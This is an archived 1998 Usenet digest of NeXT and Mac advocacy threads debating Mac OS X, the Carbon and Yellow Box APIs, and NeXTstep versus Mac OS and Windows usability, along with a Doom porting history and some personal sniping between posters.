Organization: Frontier GlobalCenter Inc.
Message-ID: <B2423F67-33DA2@206.165.43.59>
References: <6vgre6$53c$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.lang.java.advocacy
Charles Swiger <chuck@codefab.com> said:
>My pleasure, hypocrite. Try message-id <
>361A9F92.1D9F3A3@ericsson.com>,
>where, among other statements you attributed to Steve Jobs was:
>
>Jobs: "Milk the MacOS for all it's worth and move on."
Actually, the quote is supposed to be
"Milk the current MacOS customer base for all THEY are worth while working
on bringing out the Next Big Thing."
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rick@mft.neusc.bcm.tmc.edu (Rick Gray)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: The future's so bright I (hope) we have to wear shades
Date: 8 Oct 1998 03:07:01 GMT
Organization: Division of Neuroscience, Baylor College of Medicine,
Houston, TX
Message-ID: <6vha8l$71k@gazette.bcm.tmc.edu>
References: <6vg10f$t3g$1@pascal.a2000.nl> <B241542D-BDD08@206.165.43.27>
A few recent events have made me even more excited about Mac OS X.
They are, however, mostly due to insufficiencies of Mac OS 8.1 and
Windows 9[58] compared to Nextstep and Openstep. I've used NeXT
machines since version 0.8 of the OS. Before that, Suns and other
UNIX machines with X terminals, before that Vaxes, PDP-11s, DEC-10,
Cromemco Z-80s, the PLATO system at UIUC, and IBM 370. I'm not a
computer novice (nor a youngster). Maybe it's because Autumn has
finally come to Houston, but I'm feeling really optimistic about Apple
right now.
First, the problems I've had recently with Macs. I owed my sister a
favor, so I bought her an iMac and Epson printer a month ago (she
loves it; no problems there at all). Before I sent it to her I played
with it for a week or so. Since then my boss has bought an iMac for
our lab group (he also bought one for his family), so I've had about a
months worth of time working with the iMac. I really like sitting at
it; it's a very comfortable and quick machine. I really don't like
the current Mac OS though. Part of that is certainly because it's new
to me and I haven't learned all the tricks yet, and I've been very
spoiled by Nextstep. Some specifics:
1) Printers: we have a Next printer on our network of a dozen black
and white Nextstep-running machines that I made into an lpr desktop
printer. Works great. Yesterday we got an Epson Photo EX and I
installed the software driver for it. It's a beautiful printer. But
why is it such a pain to switch between the two printers? The Epson
is selectable in Chooser, and the Next laser through a desktop printer
program. I guess I could use CAP (it's running on a black Next slab)
and have the Next printer in Chooser also, but why should I when
there's lpr? The Nextstep printer panel is so nice and easy in
comparison. I'd really like to be able to lpr a color PostScript
file from a NeXT to the iMac and have it come out on the Epson, but as
near as I can tell, that's not possible.
2) The whole GUI. No matter what I do, after 15 minutes I have 20
windows open and I can never tell which program is running. Programs
are scattered all over the disk. The Nextstep browser and the
strategy of keeping all the applications in /LocalApps (or for us
/NetApps, which resides on a server machine and is NSF mounted by all
the lab machines) is so much nicer. Whenever I want to run something
on the Mac, I need to use "find file" to find it. I really hate
having icons all over the screen. Once again, the Nextstep way is so
much more elegant.
3) Association of files with applications. When the iMac was new I
FTPed a bunch of *.mov files of the commercials from the Apple
site. I used to be able to click on one of them and have QuickTime
open and play it. Now SimpleText opens. I don't know what changed,
and I don't know how to change it back. We installed MS Office,
Canvas, Adobe Photoshop and Illustrator, the Epson software, and one
of them seems to have changed the defaults. I also installed the iMac
update. Third-party Nextstep apps sometimes changed the default app
also, but the tools inspector made it so easy to change it back. Once
again, the Next way is faster, easier, and just better.
4) Mail programs. We've played with a bunch; none are nearly as nice
as NextMail.
Bottom line: I love the feel of the iMac, hate Mac OS 8.1. When Mac
OS X runs on it, it'll be a truly pleasant computer. When that
happens I'll buy one for my home and return the Next color turbo to
the lab.
Now the Win95 problems. I have a friend who owns a small business
that uses a Win95-running PC. The machine is a Gateway (bought new in
February this year) and has all new MS programs on it. Everything is
pretty vanilla; they don't know enough to modify much. I help out
there sometimes, and whenever I help them with anything on the
computer I'm constantly muttering "Damn microsoft piece of shit!".
1) They were making a handout for a tasting of Oktoberfest beers using
Word. I used the "help" part of Word to find out how to make an
umlaut. No problem (although the help index was sorta goofy). I
finished the handout and it looked pretty good. Next, they wanted
some artwork for an advertisement and had started it in Publisher. I
needed an umlaut there also, and thought "No problem; I now know how
to do that". Wrong. Totally different method in a different
Microsoft program. Not a major problem, but just a pain in the butt,
and incredibly stupid for software from the same company.
2) They have a Seagate tape drive and I set it up to do an automatic
backup on Sunday morning each week. It works most times, but
sometimes it doesn't think the drive exists. A reboot fixes it. So
much for it being automatic; I need to check each Sunday to see if
it really worked. That's just a crappy design.
3) Sometimes their HP printer will print garbage. Reboot, and it'll
work fine for a week or so again. Sometimes the Internet program
can't find the modem, or it just won't dial. Reboot and it'll work
again.
4) They do a big mailout for special events and wanted to do labels.
I looked around and saw that Word could do sheets of labels. I found
the entry for the specific Avery labels they used and set it up.
Well, there are 10 rows of labels, but it'll only print on the first
9, and the printing starts tight against the left edge. Changing the
alignment never seems permanent. They're constantly adding new
addresses and removing old ones, and it's just a pain in the butt.
They've got 200-300 addresses in there, so it'd be a real pain to try
another program and I can't see an easy way to cut and paste them all
to a new program. So, it sorta works, but not very well, but it'd be
a lot of work to change programs. I guess that's the cornerstone of
Microsoft success.
Bottom line: No consistency, crappy performance, just painful to use.
My friends aren't doing anything exotic, but there is constant
frustration with Microsoft stuff.
I don't want to violate any NDAs, but we did buy a desktop G3 machine
and we are a member of the Apple developers program and and we did
avail ourselves of the benefits. If Mac OS X is just a little more
Next-ish and a little less Mac OS-ish, I'll be very happy and I
predict it'll be overwhelmingly successful. The key will be to get
people to try it; not just for a few minutes, but to actually do some
of their normal work on it. Bottom bottom line: I wish I'd bought
Apple stock when it was $12 in summer of 97. If they don't screw it
up, they should have a really excellent product that will make working
on a computer fun again. They've shown they can do the hardware part
with the iMac (the sum is truely much greater than the parts); similar
promotion and exposure of Mac OS X should put them in the forefront of
desktop computing again.
--
Rick Gray, Ph.D., Div. Neuroscience, Baylor Col. Med., Houston, Tx 77030
rick@mft.neusc.bcm.tmc.edu | http://mft.neusc.bcm.tmc.edu/cnl
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 14:18:20 -0500
Organization: Ericsson North America Inc.
Message-ID: <361D0FFC.B7BD52FC@ericsson.com>
References: <daven-0710981647330001@208.8.190.31> <B2423FFE-36123@206.165.43.59> <daven-0810981052290001@208.8.190.31>
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Dave Neuer wrote:
> My point was that that is far from the point of Carbon. Carbon's whole
> raison d'etre is to allow MacOS apps to run in a pre-emptive, memory
> protected environment. Michael Peck seemed to be saying that Apple should
> provide Carbon only on their current-generation OS, and use the BlueBox
> for a compatability environment in Rhapsody while having the primary
> emphasis on YB (and no Carbon on Rhapsody). This was Apple's originally
> articulated plan, minus Carbon.
I'm having a difficult time understanding how you could have such an
incomplete grasp of what I said, considering the amount of time my
posting consumed and the number times I redundantly laid out my point.
The point was *not* to provide Carbon on an OS without PM and PMT.
That's ludicrous, but of course I ran the risk that *someone* would take
my remarks completely out of context. Unfortunately, I don't really see
the point in reiterating what I *did* say here, so if you want the full
story you'll need to read my previous posting.
> Having Carbon w/o PMT and MP is unneccessary. Not providing this level of
> MacOS compatability on the next-generation Apple OS -- that's what is
> ridiculous.
What level are you talking about? Doesn't Blue Box provide full
compatibility? Shouldn't it be capable of running Carbon apps? Doesn't
it explicitly provide a compatibility environment?
And by the way, if Yellow Box apps are different from Carbon apps, and
you want users to know that, how exactly are you going to "brand" them
to demonstrate that they're different? Are you going to use a new OS
release to do it by *removing* Carbon compatibility sometime in the
future (Apple's typical strategy)? Now that the Blue Box separation has
been removed for the sake of Rhapsody's invasion of consumer marketspace
and mindshare, I'm at a loss to describe how Apple might possibly
vindicate the YB.
This is more than a distinction between languages used and toolkits
employed. YB apps have a high degree of interoperability, or so I've
been given to believe, that is supposed to demonstrate just how powerful
the system is. Carbon apps will obviously *not* be able to participate
in this power, not being YB apps.
All I'm saying is that I was given to believe, at one point, that Carbon
and YB apps running "side-by-side" was *not* a good thing. What's
happened? I mean, will Carbon and YB apps both be able to use
drag-and-drop "the way God intended" (as someone described the YB
mechanisms)?
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: 8 Oct 98 12:23:09 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2425F56-ABE93@206.165.43.59>
References: <361CF111.7164BC2A@ericsson.com>
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nntp://news.primenet.com/comp.sys.mac.advocacy
Michael Peck <Michael.Peck@ericsson.com> said:
>
>On the other hand, by this definition, Carbon really *is* a "wrapper",
>since its intent is *not* to add new functionality; it is only a
>translation that allows similar MacOS code to run in a different runtime
>environment than currently-native MacOS code. It's sort of like
>"wrapping" a language API to allow access from a different language;
>you're not really adding anything new except the ability to run with the
>capabilities of the new language.
Mmmmm...
Under MacOS X, Carbon wouldn't be a wrapper since the API appears to merely
provides a procedural API to the underlying graphics engine and kernel
services that will be native to MacOS X.
Under MacOS 8.x, these services are provided via add-on libraries, but that
STILL doesn't seem to be quite what you're talking about.
You must remember that Carbon-based apps, according to what I have read
(not under NDA yet), are meant to be *rewrites* of existing MacOS apps that
will be using the new API. Since the new API calls services (whether a
native part of the OS or based on add-on libraries) directly, I don't see
how you can call the Carbon APIs "wrappers" since there's no redirection.
The only way in which the Carbon APIs could be called "wrappers" is in the
same way that ANY function call that adds an abstract layer over hardware
would be a wrapper.
In this sense, RAVE calls are wrappers. QuickDraw/QD3D/QuickTime calls are
wrappers. QuickDraw <censored> calls are wrappers...
But in any other sense, the Carbon API is NOT a wrapper API.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: 8 Oct 98 10:09:59 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2423FFE-36123@206.165.43.59>
References: <daven-0710981647330001@208.8.190.31>
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To: "Dave Neuer" <daven@ldr.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.lang.java.advocacy
Dave Neuer <daven@ldr.com> said:
>The idea
>of System 7 and Carbon apps running side-by-side in a cooperatively
>scheduled environment is ridiculous. Is that not what you meant?
Actually, I'm not sure if you're trying to paraphrase him, or if YOU are
claiming that Carbon apps running side by side with System 7 apps is
rediculous.
In fact, it isn't rediculous and that is what is planned for Carbon apps
under MacOS 8.something. There will be libraries available in MacOS 8.x to
allow Carbon apps to run on pre-G3 machines.
If this was NOT part of the plan, it would be just about as bad as what
came before it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 17:05:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vircq$6ke$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vg59f$n46$1@nnrp1.dejanews.com> <361BBA99.D34D864D@ericsson.com> <6vgq9o$2jb$1@nnrp1.dejanews.com> <361CBEC7.904C94FE@nstar.net>
In article <361CBEC7.904C94FE@nstar.net>,
Michael Peck <mjpeck@nstar.net> wrote:
> Charles Swiger wrote:
>> That's right. The problems you were having were understandable from someone
>> who did not understand Unix (specificly BSD 4.x) system administration. Of
>> course, you never bothered to ask for help or even RTFM-- you just blamed the
>> system.
>
> Actually, you remember wrong. The problem I was having was specifically
> with BackSpace, which experienced a buffer-overrun that couldn't be
> cleared out and thus locked up the system.
That was one problem, yes. Note the plural-- there were more problems around
than just BackSpace. Furthermore, as I recall, you also were trying to slam
the OpenStep API's for being broken, since you didn't even understand that
Backspace was not an OpenStep app.
> Not being a developer, I
> can't test the system on any basis other than the apps that run on it
> (and are presumably based on its libraries). The only explanation I got
> was "you idiot, the apps are at fault, NeXTstep isn't".
Like I said-- you tried to blame OpenStep because a demo app (BackSpace was in
/NextDeveloper/Demos) which came with source didn't check for a buffer overrun
when you had a stuck keyboard.
It's hardly surprising when your misguided flame of OpenStep was firmly
corrected. Who's remembering wrong?
> Then I got a lot of people saying "if it was such a problem, why didn't
> you just telnet in and kill the process?" I explained that because the
> remote ttys were secure, and the process was run from the root account,
> and I had no idea how to use 'su' on the BSD system, I could not solve
> my problem this way.
And understanding what was going on there is basic BSD system administration--
try something like O'Reilly's "Essential System Administration", or even the
"When You Can't Find Your UNIX System Administrator".
> I also explained that I would have been happy to RTFM but that I didn't
> have any man pages, since I had a User's Release of 3.3, and that I had
> spent several hours scouring the Apple Web pages for the requisite
> information but had failed to locate it.
>
> A matter of public record, of course.
Of course. Just like it's a matter of public record that you have never
posted to another NeXT newsgroup, excluding crossposts from .advocacy, asking
for help.
>>> Your posts have a unique way of displaying just what kind of person you
>>> are.
>>
>> Certainly. I normally have someone (or several people) thank me on a daily
>> basis for my contributions to the NeXT newsgroups.
>
> That's more than I needed to know, thanks. What I already knew was that
> *I* have thanked you on several occasions for your contributions. That
> hasn't seemed to make any difference in the overall evaluation, which is
> ironic since I have always considered you an intelligent and experienced
> individual. Unfortunately, that doesn't always earn you the plaudits you
> appear to crave.
There's an amusing notion.
Let's just say that it wasn't until I was in my teens that I understood that
the majority of people depend on the opinions of others in order to form
their own self-evaluation ("ego"). That's "understand" in an intellectual
sense, not in an emotive one-- my own self-evaluation is entirely internal.
It's not that I discount or devalue other's opinions, but I simply do not
depend on them.
>> Try a little introspection next-- do you admire the way you appear around
>> this neck of Usenet? Do you make contributions that people thank you for?
>> Do you accomplish anything of value at all?
>
> In light of the fact that I'm not fishing for praise and admiration, I
> don't think it's necessary to measure my goals by the number of
> thank-yous and "right on, brother" messages. One rarely expects such
> things from those with whom one disagrees, but it happens on rare
> occasions.
Since you attempted to project from my postings to my personality, I thought
you might find it valuable to look at yourself in the same light
("introspection"). Notice that I haven't provided my own evaluation of you,
nor did I suggest that you pay attention to the opinions of others.
> Maybe that's what you're basically after, in which case you have my
> blessing to post whatever you like as long as it boosts your
> self-esteem. I don't want to get in the way of that.
Even if I were looking for an ego boost, your blessing or the lack thereof
wouldn't really matter, would it?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Nepenthe@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Mac OS X server delays
Date: Thu, 08 Oct 1998 08:40:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vhtq2$r5o$1@nnrp1.dejanews.com>
could the delay in OSX Server be due to apple wishing to impliment a fully
functional Mac OS 8.5 blue box for its debut?
does anyone consider this at all likely?
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The future's so bright I (hope) we have to wear shades
Date: Thu, 08 Oct 1998 02:24:04 -0500
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-0810980224050001@192.168.0.1>
References: <6vg10f$t3g$1@pascal.a2000.nl> <B241542D-BDD08@206.165.43.27> <6vha8l$71k@gazette.bcm.tmc.edu> <distler-0810980051360001@192.168.0.1>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <distler-0810980051360001@192.168.0.1>,
distler@golem.ph.utexas.edu (Jacques Distler) wrote:
> > 3) Association of files with applications. When the iMac was new I
> > FTPed a bunch of *.mov files of the commercials from the Apple
> > site. I used to be able to click on one of them and have QuickTime
> > open and play it. Now SimpleText opens. I don't know what changed,
> > and I don't know how to change it back.
>
> This is a slightly funky one. The Mac associates an application with a
> given document through a 4-character "Creator Code". The creator code for
> SimpleText is "ttxt". The creator code of Movie Player is "TVOD".
>
> [remedial action snipped]
I suspect that the culprit, here is the "file mappings" setting in
Internet Config for the MIME type "video/quicktime". Change the creator
code from "ttxt" to "TVOD", and future downloads will have the creator
code set to what you want.
JD
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 12:06:25 -0500
Organization: Ericsson North America Inc.
Message-ID: <361CF111.7164BC2A@ericsson.com>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170> <6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com> <6vgioe$8j5$1@pascal.a2000.nl> <6vils3$urk$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> Wrappers are a middle layer that redirects calls (usually from a portable
> application layer to the system-specific functionality provided by the host).
> A classic example is a GUI middleware layer like XVT, under which your code
> GUI calls to XVT, which then calls X11 on a Unix box, or the Toolbox on a
> Mac, or Win32 on a Windows box. Thus, your GUI program will run on all of
> these platforms.
Incidentally, if it were up to *me* to define "wrapper", I'd say that it
is a subjective term but primarily intended to communicate the purpose
of *translating* functionality, rather than adding specific
functionality. Under this definition, therefore, the OpenStep libraries
are not so appropriately called a "wrapper", since they are chiefly
designed to provide functionality, not necessarily to abstract some
foreign platform's native calls.
On the other hand, by this definition, Carbon really *is* a "wrapper",
since its intent is *not* to add new functionality; it is only a
translation that allows similar MacOS code to run in a different runtime
environment than currently-native MacOS code. It's sort of like
"wrapping" a language API to allow access from a different language;
you're not really adding anything new except the ability to run with the
capabilities of the new language.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 10:24:24 -0500
Organization: Ericsson North America Inc.
Message-ID: <361CD928.A4472C38@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.c <361BD074.B99A3712@ericsson.com> <6viinc$370@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
[cut]
> "His leadership of NeXT is described as "having it all. The money,
> the technology and the ideas, but not the business skills to
> make it a success."
[cut. New quote:]
> "I gotta tell you, multi-platform compatibility ain't what it
> used to be," the mercurial Jobs siad in the January 1996 issue
> of Red Herring, a San Francisco-based magazine that covers
> the computer industry. "Windows has won. It beat the Mac.
> And there is no changing that."
I found these interesting, as well:
From Stephen Howard's MacWEEK Insider column, days after the January
keynote:
"I've heard it before; I'd bet every computer journalist in the room has
heard these old chestnuts. My cynicism is piqued, but nonetheless I feel
the pull of the man's famous reality-distortion field. He could sell
coal to Newcastle - or NeXTstep to Mac users.
"Jobs is like a polished street salesman who works his way up through
the ranks, from county fairs to hawking geegaws on infomercials. His
mesmerizing pitch slips past my shell of skepticism, and I begin to
think that Apple and Mac users should do whatever he says. Amen, Steve!
"[...]
"Gil and Steve should do interviews together; the "odd couple" theme
will write itself. Give them a 500-MHz Mac with a developer release of
Rhapsody and put them on TV - but let Steve do the tech pitch, and keep
Gil playing the role of sober-minded navigator steering an $8 billion
multinational."
21 months later, these words put many things into fascinating
perspective. Read slowly and let it sink in.
MJP
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
Date: Thu, 08 Oct 1998 15:24:44 -0700
Organization: Cygnus Solutions
Message-ID: <361D3BAC.B27BFFF3@cygnus.com>
References: <6vilca$ts0$1@nnrp1.dejanews.com> <slrn71q8en.62f.mark@ns1.oaai.com>
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Mark Onyschuk wrote:
>
> In article <6vilca$ts0$1@nnrp1.dejanews.com>, esmalling@my-dejanews.com wrote:
> >Regarding StepWise's report of Quake II for MacOS X Server being ported in
> >just 3 days ( http://www.stepwise.com/PR/981007-01.html )
> >
> >Do you think the source code Omni got was already OpenStep/Obj-C ? When did
> >id go from using NEXTSTEP as their development platform to Win32?
> >
> >Just curious.
> >
> >-Eric S.
>
> Even in the NeXTstep days, Id wrote its software in straight ANSI C. ObjC
> and NeXTstep, back then, were used for level editors and such. But having
> started developing code under UNIX to be deployed under DOS and then
> Windows, I'm sure the Id guys became pretty proficient at writing good
> clean portable ANSI C code.
>
> Mark
That sounds slightly misleading.
Back when they were using Nextstep for their primary development, they
were not just using it for level editors and build tools.
The original beta release of Doom was for Nextstep only. I had finished
the entire original shareware 9 levels before the game was released for
public sale on the PC. Doom I shareware was also available in post-beta
for Nextstep and you could use the same PC wad-file if you registered.
Later, Omni polished this engine up to do everything DoomII did.
Now, what ID probably did was build a front-end engine in Obj-C and
Nextstep's GUI that hosted/emulated a similar drawing/event model that
they had with their DOS extender (was it pharr-lap? for Doom 1?). The
Doom source code itself was probably in a very portable C code-base
(Ansi or not) and using some imaging and event model other than
Nextstep's (tunneled through their front-end).. but the game did in fact
run in a Nextstep window.
As for Quake.. who knows. It may be that since Omni had already worked
with finishing the rough edges of Doom II on Nextstep, that they were
familiar with the engine required to translate Doom's imaging model to
Nextstep's imaging model. I'm willing to bet that while Quake has a
different internal imaging engine than Doom (specifically, one that is
true 3d instead of 2d), it makes use of at least a similar display
imaging and event model, and that some reasonable chunk of that 3 day
port was updating said translator.
ID seems to be pretty reasonable about coding practices, and
portability. The core game engine is probably writen to be very
portable, and the majority of any porting effort, I would expect, is in
the imaging and event front-end. Omni, then, just had to port that to
Openstep (from Nextstep) and then update it for Quake (from Doom II).
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball
pistols
the backward in \in shoulder rigs. Who cares if you win the game as
long
backward compatible\as you can John Woo as you dive over obstacles?" -
anon
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Microsoft's Unix
Date: Thu, 08 Oct 1998 22:23:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vje03$37a$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slur <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v371u$59g$2@news.spacelab.net> <6v57d6$icn$5@supernews.com> <6v8ktl$4cv$1@nnrp1.dejanews.com> <6vaaqn$h6l$5@supernews.com> <6vbhrp$6hn$1@nnrp1.dejanews.com> <6vbvdp$7aa$7@blue.hex.net> <361D0499.908ACB02@hotmail.com>
In article <361D0499.908ACB02@hotmail.com>,
pdohert <pd@hotmail.com> wrote:
> Christopher Browne wrote:
>> On Mon, 05 Oct 1998 22:39:53 GMT, Charles Swiger <chuck@codefab.com> wrote:
>>>In article <6vaaqn$h6l$5@supernews.com>,
>>> "Dan" <dan@knowspaam.com> wrote:
>> My employer had a power outage which evidently forced restarting 17
>> machines. They are *never* restarted - upgrades are done online.
>> Disks, CPUs, memory, all can be added without a need to shut anything
>> down.
>
> Sounds like a mainframe to me... adding CPUs without powering down? And
> just how would a PC have a CPU added to a live socket without zapping
> the chip?
At least a mini-- something like Sun's Enterprise series of machines will deal
with CPU module failures (better if you can get a warning and take the unit
offline). I don't know of any desktop PC which allows that level of
failover....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 10:35:28 -0500
Organization: Ericsson North America Inc.
Message-ID: <361CDBC0.68ACB955@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.c <361BD074.B99A3712@ericsson.com> <6viinc$370@newsb.netnews.att.com>
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More quotes from January MacWEEK articles. This one from News on January
9, concerning developer reactions to the keynote:
"Mark Jeffries, computer systems specialist at South San Francisco,
Calif.-based Genentech Inc., lauded the move but said he wanted support
for the first generation of PowerPC 601-based Power Macs. But 'Rhapsody
will help stem the tide of Windows NT with a compelling story,' he said.
"[...]
'Kevin K. Phillips, president of KK Phillips Photographics in
Washington, D.C., called the speech 'a bit rambling,' but said he
thought it was 'a real step in the right direction. I've long thought
that if they can implement Display PostScript, it will be one of the
best features in a long time.'
"[...]
"Ford also commended Apple's appointment of Avadis Tevanian as vice
president of next-generation OS efforts. 'He's very smart,' Ford said.
'NeXT didn't get where they were by themselves. ... They're used to
using other [technologies].'
"[...]
"Steve Kiene, president of MindVision Software, a Mac developer in
Lincoln, Neb., said: 'Apple needs to put a lot of effort into convincing
us that they are going to stick with this plan. If they do that, they
have a good chance of making it.
"Kiene said: 'Copland gave us very little and required a lot of work.
This looks like less work with more benefits. We are getting a better
operating system and will be able to create better applications for
it.'"
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 11:08:19 -0500
Organization: Ericsson North America Inc.
Message-ID: <361CE373.485E019C@ericsson.com>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170> <6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com> <6vgioe$8j5$1@pascal.a2000.nl> <6vils3$urk$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> Wrappers are a middle layer that redirects calls (usually from a portable
> application layer to the system-specific functionality provided by the host).
By this definition any portable API is a wrapper. It's less true when
the API happens to be implemented to work directly on hardware, but it's
still true, nevertheless. For instance, the OpenGL API is a wrapper, on
all accelerated hardware, for the drivers the interface between OpenGL
and the card itself. In point of fact the API was designed and written
*first*, but that doesn't change the fact that it still wraps the
hardware's API (which is exactly the reason Glide was developed for 3Dfx
hardware, although that particular API is *not* portable).
For software renderers, the case is more clear-cut. For instance, the
OpenGL/GLU/GLX API, implemented by Mesa on Linux, is a wrapper for
native Linux datatypes and X11 drawing/window creation methods.
Moreover, the GLUT API is a portable wrapper for GLX (and WGL and AGL)
that, when implemented on any platform, wraps whatever drawing/window
creation exist natively for that platform.
> A classic example is a GUI middleware layer like XVT, under which your code
> GUI calls to XVT, which then calls X11 on a Unix box, or the Toolbox on a
> Mac, or Win32 on a Windows box. Thus, your GUI program will run on all of
> these platforms.
In this case XVT is an API with different implementations that happen to
wrap other APIs. Much the same way the MacOS Toolbox wraps the MacOS
low-level code, and the same way Carbon will wrap BSD, Mach, and
whatever else Apple intends to put beneath Carbon.
It's no different from the way Qt is implemented upon X11 and Win32, and
rather the same way the OpenStep libraries are "wrapped" around various
platforms' own underlying mechanisms.
> Major downsides to wrappers are they are slower, and the abstraction they do
> often makes it difficult (or impossible) to implement all the details and
> native look-n-feel desirable-- so XVT-based apps look blander and more generic
> than native ones, for example.
This may be the case for XVT apps. It is certainly not the rule of thumb
for portable APIs. I am sure you would not say this about OpenStep apps,
which make use of a similar "wrapper".
[cut]
MJP
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Microsoft's Unix
Date: 9 Oct 1998 00:45:20 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
